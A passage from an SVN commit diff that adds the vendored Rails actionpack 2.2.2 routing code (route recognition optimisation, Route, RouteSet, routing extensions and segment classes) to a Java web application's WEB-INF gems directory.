+    # When segment is equal to some const, we step into branch.
+    # If none constants matched, we step into 'dynamic' branch (it's a last).
+    # If we can't match anything, we drop to last index on a level.
+    #
+    # Note: we maintain the original routes order, so we finish building
+    #       steps on a first dynamic segment.
+    #
+    #
+    # Example. Given the routes:
+    #   0 /posts/
+    #   1 /posts/:id
+    #   2 /posts/:id/comments
+    #   3 /posts/blah
+    #   4 /users/
+    #   5 /users/:id
+    #   6 /users/:id/profile
+    #
+    # request_uri = /users/123
+    #
+    # There will be only 4 iterations:
+    #  1) segm test for /posts prefix, skip all /posts/* routes
+    #  2) segm test for /users/
+    #  3) segm test for /users/:id
+    #     (jump to list index = 5)
+    #  4) full test for /users/:id => here we are!
+    class RouteSet
+      def recognize_path(path, environment={})
+        result = recognize_optimized(path, environment) and return result
+
+        # Route was not recognized. Try to find out why (maybe wrong verb).
+        allows = HTTP_METHODS.select { |verb| routes.find { |r| r.recognize(path, :method => verb) } }
+
+        if environment[:method] && !HTTP_METHODS.include?(environment[:method])
+          raise NotImplemented.new(*allows)
+        elsif !allows.empty?
+          raise MethodNotAllowed.new(*allows)
+        else
+          raise RoutingError, "No route matches #{path.inspect} with #{environment.inspect}"
+        end
+      end
+
+      def segment_tree(routes)
+        tree = [0]
+
+        i = -1
+        routes.each do |route|
+          i += 1
+          # not fast, but runs only once
+          segments = to_plain_segments(route.segments.inject("") { |str,s| str << s.to_s })
+
+          node  = tree
+          segments.each do |seg|
+            seg = :dynamic if seg && seg[0] == ?:
+            node << [seg, [i]] if node.empty? || node[node.size - 1][0] != seg
+            node = node[node.size - 1][1]
+          end
+        end
+        tree
+      end
+
+      def generate_code(list, padding='  ', level = 0)
+        # a digit
+        return padding + "#{list[0]}\n" if list.size == 1 && !(Array === list[0])
+
+        body = padding + "(seg = segments[#{level}]; \n"
+
+        i = 0
+        was_nil = false
+        list.each do |item|
+          if Array === item
+            i += 1
+            start = (i == 1)
+            final = (i == list.size)
+            tag, sub = item
+            if tag == :dynamic
+              body += padding + "#{start ? 'if' : 'elsif'} true\n"
+              body += generate_code(sub, padding + "  ", level + 1)
+              break
+            elsif tag == nil && !was_nil
+              was_nil = true
+              body += padding + "#{start ? 'if' : 'elsif'} seg.nil?\n"
+              body += generate_code(sub, padding + "  ", level + 1)
+            else
+              body += padding + "#{start ? 'if' : 'elsif'} seg == '#{tag}'\n"
+              body += generate_code(sub, padding + "  ", level + 1)
+            end
+          end
+        end
+        body += padding + "else\n"
+        body += padding + "  #{list[0]}\n"
+        body += padding + "end)\n"
+        body
+      end
+
+      # this must be really fast
+      def to_plain_segments(str)
+        str = str.dup
+        str.sub!(/^\/+/,'')
+        str.sub!(/\/+$/,'')
+        segments = str.split(/\.[^\/]+\/+|\/+|\.[^\/]+\Z/) # cut off ".format" also
+        segments << nil
+        segments
+      end
+
+      private
+        def write_recognize_optimized!
+          tree = segment_tree(routes)
+          body = generate_code(tree)
+
+          remove_recognize_optimized!
+
+          instance_eval %{
+            def recognize_optimized(path, env)
+              segments = to_plain_segments(path)
+              index = #{body}
+              return nil unless index
+              while index < routes.size
+                result = routes[index].recognize(path, env) and return result
+                index += 1
+              end
+              nil
+            end
+          }, '(recognize_optimized)', 1
+        end
+
+        def clear_recognize_optimized!
+          remove_recognize_optimized!
+          write_recognize_optimized!
+        end
+
+        def remove_recognize_optimized!
+          if respond_to?(:recognize_optimized)
+            class << self
+              remove_method :recognize_optimized
+            end
+          end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/route.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/route.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/route.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,255 @@
+module ActionController
+  module Routing
+    class Route #:nodoc:
+      attr_accessor :segments, :requirements, :conditions, :optimise
+
+      def initialize(segments = [], requirements = {}, conditions = {})
+        @segments = segments
+        @requirements = requirements
+        @conditions = conditions
+
+        if !significant_keys.include?(:action) && !requirements[:action]
+          @requirements[:action] = "index"
+          @significant_keys << :action
+        end
+
+        # Routes cannot use the current string interpolation method
+        # if there are user-supplied <tt>:requirements</tt> as the interpolation
+        # code won't raise RoutingErrors when generating
+        has_requirements = @segments.detect { |segment| segment.respond_to?(:regexp) && segment.regexp }
+        if has_requirements || @requirements.keys.to_set != Routing::ALLOWED_REQUIREMENTS_FOR_OPTIMISATION
+          @optimise = false
+        else
+          @optimise = true
+        end
+      end
+
+      # Indicates whether the routes should be optimised with the string interpolation
+      # version of the named routes methods.
+      def optimise?
+        @optimise && ActionController::Base::optimise_named_routes
+      end
+
+      def segment_keys
+        segments.collect do |segment|
+          segment.key if segment.respond_to? :key
+        end.compact
+      end
+
+      # Build a query string from the keys of the given hash. If +only_keys+
+      # is given (as an array), only the keys indicated will be used to build
+      # the query string. The query string will correctly build array parameter
+      # values.
+      def build_query_string(hash, only_keys = nil)
+        elements = []
+
+        (only_keys || hash.keys).each do |key|
+          if value = hash[key]
+            elements << value.to_query(key)
+          end
+        end
+
+        elements.empty? ? '' : "?#{elements.sort * '&'}"
+      end
+
+      # A route's parameter shell contains parameter values that are not in the
+      # route's path, but should be placed in the recognized hash.
+      #
+      # For example, +{:controller => 'pages', :action => 'show'} is the shell for the route:
+      #
+      #   map.connect '/page/:id', :controller => 'pages', :action => 'show', :id => /\d+/
+      #
+      def parameter_shell
+        @parameter_shell ||= returning({}) do |shell|
+          requirements.each do |key, requirement|
+            shell[key] = requirement unless requirement.is_a? Regexp
+          end
+        end
+      end
+
+      # Return an array containing all the keys that are used in this route. This
+      # includes keys that appear inside the path, and keys that have requirements
+      # placed upon them.
+      def significant_keys
+        @significant_keys ||= returning([]) do |sk|
+          segments.each { |segment| sk << segment.key if segment.respond_to? :key }
+          sk.concat requirements.keys
+          sk.uniq!
+        end
+      end
+
+      # Return a hash of key/value pairs representing the keys in the route that
+      # have defaults, or which are specified by non-regexp requirements.
+      def defaults
+        @defaults ||= returning({}) do |hash|
+          segments.each do |segment|
+            next unless segment.respond_to? :default
+            hash[segment.key] = segment.default unless segment.default.nil?
+          end
+          requirements.each do |key,req|
+            next if Regexp === req || req.nil?
+            hash[key] = req
+          end
+        end
+      end
+
+      def matches_controller_and_action?(controller, action)
+        prepare_matching!
+        (@controller_requirement.nil? || @controller_requirement === controller) &&
+        (@action_requirement.nil? || @action_requirement === action)
+      end
+
+      def to_s
+        @to_s ||= begin
+          segs = segments.inject("") { |str,s| str << s.to_s }
+          "%-6s %-40s %s" % [(conditions[:method] || :any).to_s.upcase, segs, requirements.inspect]
+        end
+      end
+
+      # TODO: Route should be prepared and frozen on initialize
+      def freeze
+        unless frozen?
+          write_generation!
+          write_recognition!
+          prepare_matching!
+
+          parameter_shell
+          significant_keys
+          defaults
+          to_s
+        end
+
+        super
+      end
+
+      private
+        def requirement_for(key)
+          return requirements[key] if requirements.key? key
+          segments.each do |segment|
+            return segment.regexp if segment.respond_to?(:key) && segment.key == key
+          end
+          nil
+        end
+
+        # Write and compile a +generate+ method for this Route.
+        def write_generation!
+          # Build the main body of the generation
+          body = "expired = false\n#{generation_extraction}\n#{generation_structure}"
+
+          # If we have conditions that must be tested first, nest the body inside an if
+          body = "if #{generation_requirements}\n#{body}\nend" if generation_requirements
+          args = "options, hash, expire_on = {}"
+
+          # Nest the body inside of a def block, and then compile it.
+          raw_method = method_decl = "def generate_raw(#{args})\npath = begin\n#{body}\nend\n[path, hash]\nend"
+          instance_eval method_decl, "generated code (#{__FILE__}:#{__LINE__})"
+
+          # expire_on.keys == recall.keys; in other words, the keys in the expire_on hash
+          # are the same as the keys that were recalled from the previous request. Thus,
+          # we can use the expire_on.keys to determine which keys ought to be used to build
+          # the query string. (Never use keys from the recalled request when building the
+          # query string.)
+
+          method_decl = "def generate(#{args})\npath, hash = generate_raw(options, hash, expire_on)\nappend_query_string(path, hash, extra_keys(options))\nend"
+          instance_eval method_decl, "generated code (#{__FILE__}:#{__LINE__})"
+
+          method_decl = "def generate_extras(#{args})\npath, hash = generate_raw(options, hash, expire_on)\n[path, extra_keys(options)]\nend"
+          instance_eval method_decl, "generated code (#{__FILE__}:#{__LINE__})"
+          raw_method
+        end
+
+        # Build several lines of code that extract values from the options hash. If any
+        # of the values are missing or rejected then a return will be executed.
+        def generation_extraction
+          segments.collect do |segment|
+            segment.extraction_code
+          end.compact * "\n"
+        end
+
+        # Produce a condition expression that will check the requirements of this route
+        # upon generation.
+        def generation_requirements
+          requirement_conditions = requirements.collect do |key, req|
+            if req.is_a? Regexp
+              value_regexp = Regexp.new "\\A#{req.to_s}\\Z"
+              "hash[:#{key}] && #{value_regexp.inspect} =~ options[:#{key}]"
+            else
+              "hash[:#{key}] == #{req.inspect}"
+            end
+          end
+          requirement_conditions * ' && ' unless requirement_conditions.empty?
+        end
+
+        def generation_structure
+          segments.last.string_structure segments[0..-2]
+        end
+
+        # Write and compile a +recognize+ method for this Route.
+        def write_recognition!
+          # Create an if structure to extract the params from a match if it occurs.
+          body = "params = parameter_shell.dup\n#{recognition_extraction * "\n"}\nparams"
+          body = "if #{recognition_conditions.join(" && ")}\n#{body}\nend"
+
+          # Build the method declaration and compile it
+          method_decl = "def recognize(path, env = {})\n#{body}\nend"
+          instance_eval method_decl, "generated code (#{__FILE__}:#{__LINE__})"
+          method_decl
+        end
+
+        # Plugins may override this method to add other conditions, like checks on
+        # host, subdomain, and so forth. Note that changes here only affect route
+        # recognition, not generation.
+        def recognition_conditions
+          result = ["(match = #{Regexp.new(recognition_pattern).inspect}.match(path))"]
+          result << "[conditions[:method]].flatten.include?(env[:method])" if conditions[:method]
+          result
+        end
+
+        # Build the regular expression pattern that will match this route.
+        def recognition_pattern(wrap = true)
+          pattern = ''
+          segments.reverse_each do |segment|
+            pattern = segment.build_pattern pattern
+          end
+          wrap ? ("\\A" + pattern + "\\Z") : pattern
+        end
+
+        # Write the code to extract the parameters from a matched route.
+        def recognition_extraction
+          next_capture = 1
+          extraction = segments.collect do |segment|
+            x = segment.match_extraction(next_capture)
+            next_capture += segment.number_of_captures
+            x
+          end
+          extraction.compact
+        end
+
+        # Generate the query string with any extra keys in the hash and append
+        # it to the given path, returning the new path.
+        def append_query_string(path, hash, query_keys = nil)
+          return nil unless path
+          query_keys ||= extra_keys(hash)
+          "#{path}#{build_query_string(hash, query_keys)}"
+        end
+
+        # Determine which keys in the given hash are "extra". Extra keys are
+        # those that were not used to generate a particular route. The extra
+        # keys also do not include those recalled from the prior request, nor
+        # do they include any keys that were implied in the route (like a
+        # <tt>:controller</tt> that is required, but not explicitly used in the
+        # text of the route.)
+        def extra_keys(hash, recall = {})
+          (hash || {}).keys.map { |k| k.to_sym } - (recall || {}).keys - significant_keys
+        end
+
+        def prepare_matching!
+          unless defined? @matching_prepared
+            @controller_requirement = requirement_for(:controller)
+            @action_requirement = requirement_for(:action)
+            @matching_prepared = true
+          end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/route_set.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/route_set.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/route_set.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,437 @@
+module ActionController
+  module Routing
+    class RouteSet #:nodoc:
+      # Mapper instances are used to build routes. The object passed to the draw
+      # block in config/routes.rb is a Mapper instance.
+      #
+      # Mapper instances have relatively few instance methods, in order to avoid
+      # clashes with named routes.
+      class Mapper #:doc:
+        def initialize(set) #:nodoc:
+          @set = set
+        end
+
+        # Create an unnamed route with the provided +path+ and +options+. See
+        # ActionController::Routing for an introduction to routes.
+        def connect(path, options = {})
+          @set.add_route(path, options)
+        end
+
+        # Creates a named route called "root" for matching the root level request.
+        def root(options = {})
+          if options.is_a?(Symbol)
+            if source_route = @set.named_routes.routes[options]
+              options = source_route.defaults.merge({ :conditions => source_route.conditions })
+            end
+          end
+          named_route("root", '', options)
+        end
+
+        def named_route(name, path, options = {}) #:nodoc:
+          @set.add_named_route(name, path, options)
+        end
+
+        # Enables the use of resources in a module by setting the name_prefix, path_prefix, and namespace for the model.
+        # Example:
+        #
+        #   map.namespace(:admin) do |admin|
+        #     admin.resources :products,
+        #       :has_many => [ :tags, :images, :variants ]
+        #   end
+        #
+        # This will create +admin_products_url+ pointing to "admin/products", which will look for an Admin::ProductsController.
+        # It'll also create +admin_product_tags_url+ pointing to "admin/products/#{product_id}/tags", which will look for
+        # Admin::TagsController.
+        def namespace(name, options = {}, &block)
+          if options[:namespace]
+            with_options({:path_prefix => "#{options.delete(:path_prefix)}/#{name}", :name_prefix => "#{options.delete(:name_prefix)}#{name}_", :namespace => "#{options.delete(:namespace)}#{name}/" }.merge(options), &block)
+          else
+            with_options({:path_prefix => name, :name_prefix => "#{name}_", :namespace => "#{name}/" }.merge(options), &block)
+          end
+        end
+
+        def method_missing(route_name, *args, &proc) #:nodoc:
+          super unless args.length >= 1 && proc.nil?
+          @set.add_named_route(route_name, *args)
+        end
+      end
+
+      # A NamedRouteCollection instance is a collection of named routes, and also
+      # maintains an anonymous module that can be used to install helpers for the
+      # named routes.
+      class NamedRouteCollection #:nodoc:
+        include Enumerable
+        include ActionController::Routing::Optimisation
+        attr_reader :routes, :helpers
+
+        def initialize
+          clear!
+        end
+
+        def clear!
+          @routes = {}
+          @helpers = []
+
+          @module ||= Module.new
+          @module.instance_methods.each do |selector|
+            @module.class_eval { remove_method selector }
+          end
+        end
+
+        def add(name, route)
+          routes[name.to_sym] = route
+          define_named_route_methods(name, route)
+        end
+
+        def get(name)
+          routes[name.to_sym]
+        end
+
+        alias []=   add
+        alias []    get
+        alias clear clear!
+
+        def each
+          routes.each { |name, route| yield name, route }
+          self
+        end
+
+        def names
+          routes.keys
+        end
+
+        def length
+          routes.length
+        end
+
+        def reset!
+          old_routes = routes.dup
+          clear!
+          old_routes.each do |name, route|
+            add(name, route)
+          end
+        end
+
+        def install(destinations = [ActionController::Base, ActionView::Base], regenerate = false)
+          reset! if regenerate
+          Array(destinations).each do |dest|
+            dest.__send__(:include, @module)
+          end
+        end
+
+        private
+          def url_helper_name(name, kind = :url)
+            :"#{name}_#{kind}"
+          end
+
+          def hash_access_name(name, kind = :url)
+            :"hash_for_#{name}_#{kind}"
+          end
+
+          def define_named_route_methods(name, route)
+            {:url => {:only_path => false}, :path => {:only_path => true}}.each do |kind, opts|
+              hash = route.defaults.merge(:use_route => name).merge(opts)
+              define_hash_access route, name, kind, hash
+              define_url_helper route, name, kind, hash
+            end
+          end
+
+          def define_hash_access(route, name, kind, options)
+            selector = hash_access_name(name, kind)
+            @module.module_eval <<-end_eval # We use module_eval to avoid leaks
+              def #{selector}(options = nil)
+                options ? #{options.inspect}.merge(options) : #{options.inspect}
+              end
+              protected :#{selector}
+            end_eval
+            helpers << selector
+          end
+
+          def define_url_helper(route, name, kind, options)
+            selector = url_helper_name(name, kind)
+            # The segment keys used for positional paramters
+
+            hash_access_method = hash_access_name(name, kind)
+
+            # allow ordered parameters to be associated with corresponding
+            # dynamic segments, so you can do
+            #
+            #   foo_url(bar, baz, bang)
+            #
+            # instead of
+            #
+            #   foo_url(:bar => bar, :baz => baz, :bang => bang)
+            #
+            # Also allow options hash, so you can do
+            #
+            #   foo_url(bar, baz, bang, :sort_by => 'baz')
+            #
+            @module.module_eval <<-end_eval # We use module_eval to avoid leaks
+              def #{selector}(*args)
+
+                #{generate_optimisation_block(route, kind)}
+
+                opts = if args.empty? || Hash === args.first
+                  args.first || {}
+                else
+                  options = args.extract_options!
+                  args = args.zip(#{route.segment_keys.inspect}).inject({}) do |h, (v, k)|
+                    h[k] = v
+                    h
+                  end
+                  options.merge(args)
+                end
+
+                url_for(#{hash_access_method}(opts))
+              end
+              protected :#{selector}
+            end_eval
+            helpers << selector
+          end
+      end
+
+      attr_accessor :routes, :named_routes, :configuration_file
+
+      def initialize
+        self.routes = []
+        self.named_routes = NamedRouteCollection.new
+
+        clear_recognize_optimized!
+      end
+
+      # Subclasses and plugins may override this method to specify a different
+      # RouteBuilder instance, so that other route DSL's can be created.
+      def builder
+        @builder ||= RouteBuilder.new
+      end
+
+      def draw
+        clear!
+        yield Mapper.new(self)
+        install_helpers
+      end
+
+      def clear!
+        routes.clear
+        named_routes.clear
+        @combined_regexp = nil
+        @routes_by_controller = nil
+        # This will force routing/recognition_optimization.rb
+        # to refresh optimisations.
+        clear_recognize_optimized!
+      end
+
+      def install_helpers(destinations = [ActionController::Base, ActionView::Base], regenerate_code = false)
+        Array(destinations).each { |d| d.module_eval { include Helpers } }
+        named_routes.install(destinations, regenerate_code)
+      end
+
+      def empty?
+        routes.empty?
+      end
+
+      def load!
+        Routing.use_controllers! nil # Clear the controller cache so we may discover new ones
+        clear!
+        load_routes!
+      end
+
+      # reload! will always force a reload whereas load checks the timestamp first
+      alias reload! load!
+
+      def reload
+        if @routes_last_modified && configuration_file
+          mtime = File.stat(configuration_file).mtime
+          # if it hasn't been changed, then just return
+          return if mtime == @routes_last_modified
+          # if it has changed then record the new time and fall to the load! below
+          @routes_last_modified = mtime
+        end
+        load!
+      end
+
+      def load_routes!
+        if configuration_file
+          load configuration_file
+          @routes_last_modified = File.stat(configuration_file).mtime
+        else
+          add_route ":controller/:action/:id"
+        end
+      end
+
+      def add_route(path, options = {})
+        route = builder.build(path, options)
+        routes << route
+        route
+      end
+
+      def add_named_route(name, path, options = {})
+        # TODO - is options EVER used?
+        name = options[:name_prefix] + name.to_s if options[:name_prefix]
+        named_routes[name.to_sym] = add_route(path, options)
+      end
+
+      def options_as_params(options)
+        # If an explicit :controller was given, always make :action explicit
+        # too, so that action expiry works as expected for things like
+        #
+        #   generate({:controller => 'content'}, {:controller => 'content', :action => 'show'})
+        #
+        # (the above is from the unit tests). In the above case, because the
+        # controller was explicitly given, but no action, the action is implied to
+        # be "index", not the recalled action of "show".
+        #
+        # great fun, eh?
+
+        options_as_params = options.clone
+        options_as_params[:action] ||= 'index' if options[:controller]
+        options_as_params[:action] = options_as_params[:action].to_s if options_as_params[:action]
+        options_as_params
+      end
+
+      def build_expiry(options, recall)
+        recall.inject({}) do |expiry, (key, recalled_value)|
+          expiry[key] = (options.key?(key) && options[key].to_param != recalled_value.to_param)
+          expiry
+        end
+      end
+
+      # Generate the path indicated by the arguments, and return an array of
+      # the keys that were not used to generate it.
+      def extra_keys(options, recall={})
+        generate_extras(options, recall).last
+      end
+
+      def generate_extras(options, recall={})
+        generate(options, recall, :generate_extras)
+      end
+
+      def generate(options, recall = {}, method=:generate)
+        named_route_name = options.delete(:use_route)
+        generate_all = options.delete(:generate_all)
+        if named_route_name
+          named_route = named_routes[named_route_name]
+          options = named_route.parameter_shell.merge(options)
+        end
+
+        options = options_as_params(options)
+        expire_on = build_expiry(options, recall)
+
+        if options[:controller]
+          options[:controller] = options[:controller].to_s
+        end
+        # if the controller has changed, make sure it changes relative to the
+        # current controller module, if any. In other words, if we're currently
+        # on admin/get, and the new controller is 'set', the new controller
+        # should really be admin/set.
+        if !named_route && expire_on[:controller] && options[:controller] && options[:controller][0] != ?/
+          old_parts = recall[:controller].split('/')
+          new_parts = options[:controller].split('/')
+          parts = old_parts[0..-(new_parts.length + 1)] + new_parts
+          options[:controller] = parts.join('/')
+        end
+
+        # drop the leading '/' on the controller name
+        options[:controller] = options[:controller][1..-1] if options[:controller] && options[:controller][0] == ?/
+        merged = recall.merge(options)
+
+        if named_route
+          path = named_route.generate(options, merged, expire_on)
+          if path.nil?
+            raise_named_route_error(options, named_route, named_route_name)
+          else
+            return path
+          end
+        else
+          merged[:action] ||= 'index'
+          options[:action] ||= 'index'
+
+          controller = merged[:controller]
+          action = merged[:action]
+
+          raise RoutingError, "Need controller and action!" unless controller && action
+
+          if generate_all
+            # Used by caching to expire all paths for a resource
+            return routes.collect do |route|
+              route.__send__(method, options, merged, expire_on)
+            end.compact
+          end
+
+          # don't use the recalled keys when determining which routes to check
+          routes = routes_by_controller[controller][action][options.keys.sort_by { |x| x.object_id }]
+
+          routes.each do |route|
+            results = route.__send__(method, options, merged, expire_on)
+            return results if results && (!results.is_a?(Array) || results.first)
+          end
+        end
+
+        raise RoutingError, "No route matches #{options.inspect}"
+      end
+
+      # try to give a helpful error message when named route generation fails
+      def raise_named_route_error(options, named_route, named_route_name)
+        diff = named_route.requirements.diff(options)
+        unless diff.empty?
+          raise RoutingError, "#{named_route_name}_url failed to generate from #{options.inspect}, expected: #{named_route.requirements.inspect}, diff: #{named_route.requirements.diff(options).inspect}"
+        else
+          required_segments = named_route.segments.select {|seg| (!seg.optional?) && (!seg.is_a?(DividerSegment)) }
+          required_keys_or_values = required_segments.map { |seg| seg.key rescue seg.value } # we want either the key or the value from the segment
+          raise RoutingError, "#{named_route_name}_url failed to generate from #{options.inspect} - you may have ambiguous routes, or you may need to supply additional parameters for this route.  content_url has the following required parameters: #{required_keys_or_values.inspect} - are they all satisfied?"
+        end
+      end
+
+      def recognize(request)
+        params = recognize_path(request.path, extract_request_environment(request))
+        request.path_parameters = params.with_indifferent_access
+        "#{params[:controller].camelize}Controller".constantize
+      end
+
+      def recognize_path(path, environment={})
+        raise "Not optimized! Check that routing/recognition_optimisation overrides RouteSet#recognize_path."
+      end
+
+      def routes_by_controller
+        @routes_by_controller ||= Hash.new do |controller_hash, controller|
+          controller_hash[controller] = Hash.new do |action_hash, action|
+            action_hash[action] = Hash.new do |key_hash, keys|
+              key_hash[keys] = routes_for_controller_and_action_and_keys(controller, action, keys)
+            end
+          end
+        end
+      end
+
+      def routes_for(options, merged, expire_on)
+        raise "Need controller and action!" unless controller && action
+        controller = merged[:controller]
+        merged = options if expire_on[:controller]
+        action = merged[:action] || 'index'
+
+        routes_by_controller[controller][action][merged.keys]
+      end
+
+      def routes_for_controller_and_action(controller, action)
+        selected = routes.select do |route|
+          route.matches_controller_and_action? controller, action
+        end
+        (selected.length == routes.length) ? routes : selected
+      end
+
+      def routes_for_controller_and_action_and_keys(controller, action, keys)
+        selected = routes.select do |route|
+          route.matches_controller_and_action? controller, action
+        end
+        selected.sort_by do |route|
+          (keys - route.significant_keys).length
+        end
+      end
+
+      # Subclasses and plugins may override this method to extract further attributes
+      # from the request, for use by route conditions and such.
+      def extract_request_environment(request)
+        { :method => request.method }
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/routing_ext.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/routing_ext.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/routing_ext.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,49 @@
+class Object
+  def to_param
+    to_s
+  end
+end
+
+class TrueClass
+  def to_param
+    self
+  end
+end
+
+class FalseClass
+  def to_param
+    self
+  end
+end
+
+class NilClass
+  def to_param
+    self
+  end
+end
+
+class Regexp #:nodoc:
+  def number_of_captures
+    Regexp.new("|#{source}").match('').captures.length
+  end
+
+  def multiline?
+    options & MULTILINE == MULTILINE
+  end
+
+  class << self
+    def optionalize(pattern)
+      case unoptionalize(pattern)
+        when /\A(.|\(.*\))\Z/ then "#{pattern}?"
+        else "(?:#{pattern})?"
+      end
+    end
+
+    def unoptionalize(pattern)
+      [/\A\(\?:(.*)\)\?\Z/, /\A(.|\(.*\))\?\Z/].each do |regexp|
+        return $1 if regexp =~ pattern
+      end
+      return pattern
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/segments.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/segments.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/routing/segments.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,312 @@
+module ActionController
+  module Routing
+    class Segment #:nodoc:
+      RESERVED_PCHAR = ':@&=+$,;'
+      SAFE_PCHAR = "#{URI::REGEXP::PATTERN::UNRESERVED}#{RESERVED_PCHAR}"
+      UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false, 'N').freeze
+
+      # TODO: Convert :is_optional accessor to read only
+      attr_accessor :is_optional
+      alias_method :optional?, :is_optional
+
+      def initialize
+        @is_optional = false
+      end
+
+      def number_of_captures
+        Regexp.new(regexp_chunk).number_of_captures
+      end
+
+      def extraction_code
+        nil
+      end
+
+      # Continue generating string for the prior segments.
+      def continue_string_structure(prior_segments)
+        if prior_segments.empty?
+          interpolation_statement(prior_segments)
+        else
+          new_priors = prior_segments[0..-2]
+          prior_segments.last.string_structure(new_priors)
+        end
+      end
+
+      def interpolation_chunk
+        URI.escape(value, UNSAFE_PCHAR)
+      end
+
+      # Return a string interpolation statement for this segment and those before it.
+      def interpolation_statement(prior_segments)
+        chunks = prior_segments.collect { |s| s.interpolation_chunk }
+        chunks << interpolation_chunk
+        "\"#{chunks * ''}\"#{all_optionals_available_condition(prior_segments)}"
+      end
+
+      def string_structure(prior_segments)
+        optional? ? continue_string_structure(prior_segments) : interpolation_statement(prior_segments)
+      end
+
+      # Return an if condition that is true if all the prior segments can be generated.
+      # If there are no optional segments before this one, then nil is returned.
+      def all_optionals_available_condition(prior_segments)
+        optional_locals = prior_segments.collect { |s| s.local_name if s.optional? && s.respond_to?(:local_name) }.compact
+        optional_locals.empty? ? nil : " if #{optional_locals * ' && '}"
+      end
+
+      # Recognition
+
+      def match_extraction(next_capture)
+        nil
+      end
+
+      # Warning
+
+      # Returns true if this segment is optional? because of a default. If so, then
+      # no warning will be emitted regarding this segment.
+      def optionality_implied?
+        false
+      end
+    end
+
+    class StaticSegment < Segment #:nodoc:
+      attr_reader :value, :raw
+      alias_method :raw?, :raw
+
+      def initialize(value = nil, options = {})
+        super()
+        @value = value
+        @raw = options[:raw] if options.key?(:raw)
+        @is_optional = options[:optional] if options.key?(:optional)
+      end
+
+      def interpolation_chunk
+        raw? ? value : super
+      end
+
+      def regexp_chunk
+        chunk = Regexp.escape(value)
+        optional? ? Regexp.optionalize(chunk) : chunk
+      end
+
+      def number_of_captures
+        0
+      end
+
+      def build_pattern(pattern)
+        escaped = Regexp.escape(value)
+        if optional? && ! pattern.empty?
+          "(?:#{Regexp.optionalize escaped}\\Z|#{escaped}#{Regexp.unoptionalize pattern})"
+        elsif optional?
+          Regexp.optionalize escaped
+        else
+          escaped + pattern
+        end
+      end
+
+      def to_s
+        value
+      end
+    end
+
+    class DividerSegment < StaticSegment #:nodoc:
+      def initialize(value = nil, options = {})
+        super(value, {:raw => true, :optional => true}.merge(options))
+      end
+
+      def optionality_implied?
+        true
+      end
+    end
+
+    class DynamicSegment < Segment #:nodoc:
+      attr_reader :key
+
+      # TODO: Convert these accessors to read only
+      attr_accessor :default, :regexp
+
+      def initialize(key = nil, options = {})
+        super()
+        @key = key
+        @default = options[:default] if options.key?(:default)
+        @regexp = options[:regexp] if options.key?(:regexp)
+        @is_optional = true if options[:optional] || options.key?(:default)
+      end
+
+      def to_s
+        ":#{key}"
+      end
+
+      # The local variable name that the value of this segment will be extracted to.
+      def local_name
+        "#{key}_value"
+      end
+
+      def extract_value
+        "#{local_name} = hash[:#{key}] && hash[:#{key}].to_param #{"|| #{default.inspect}" if default}"
+      end
+
+      def value_check
+        if default # Then we know it won't be nil
+          "#{value_regexp.inspect} =~ #{local_name}" if regexp
+        elsif optional?
+          # If we have a regexp check that the value is not given, or that it matches.
+          # If we have no regexp, return nil since we do not require a condition.
+          "#{local_name}.nil? || #{value_regexp.inspect} =~ #{local_name}" if regexp
+        else # Then it must be present, and if we have a regexp, it must match too.
+          "#{local_name} #{"&& #{value_regexp.inspect} =~ #{local_name}" if regexp}"
+        end
+      end
+
+      def expiry_statement
+        "expired, hash = true, options if !expired && expire_on[:#{key}]"
+      end
+
+      def extraction_code
+        s = extract_value
+        vc = value_check
+        s << "\nreturn [nil,nil] unless #{vc}" if vc
+        s << "\n#{expiry_statement}"
+      end
+
+      def interpolation_chunk(value_code = local_name)
+        "\#{URI.escape(#{value_code}.to_s, ActionController::Routing::Segment::UNSAFE_PCHAR)}"
+      end
+
+      def string_structure(prior_segments)
+        if optional? # We have a conditional to do...
+          # If we should not appear in the url, just write the code for the prior
+          # segments. This occurs if our value is the default value, or, if we are
+          # optional, if we have nil as our value.
+          "if #{local_name} == #{default.inspect}\n" +
+            continue_string_structure(prior_segments) +
+          "\nelse\n" + # Otherwise, write the code up to here
+            "#{interpolation_statement(prior_segments)}\nend"
+        else
+          interpolation_statement(prior_segments)
+        end
+      end
+
+      def value_regexp
+        Regexp.new "\\A#{regexp.to_s}\\Z" if regexp
+      end
+
+      def regexp_chunk
+        if regexp
+          if regexp_has_modifiers?
+            "(#{regexp.to_s})"
+          else
+            "(#{regexp.source})"
+          end
+        else
+          "([^#{Routing::SEPARATORS.join}]+)"
+        end
+      end
+
+      def number_of_captures
+        if regexp
+          regexp.number_of_captures + 1
+        else
+          1
+        end
+      end
+
+      def build_pattern(pattern)
+        pattern = "#{regexp_chunk}#{pattern}"
+        optional? ? Regexp.optionalize(pattern) : pattern
+      end
+
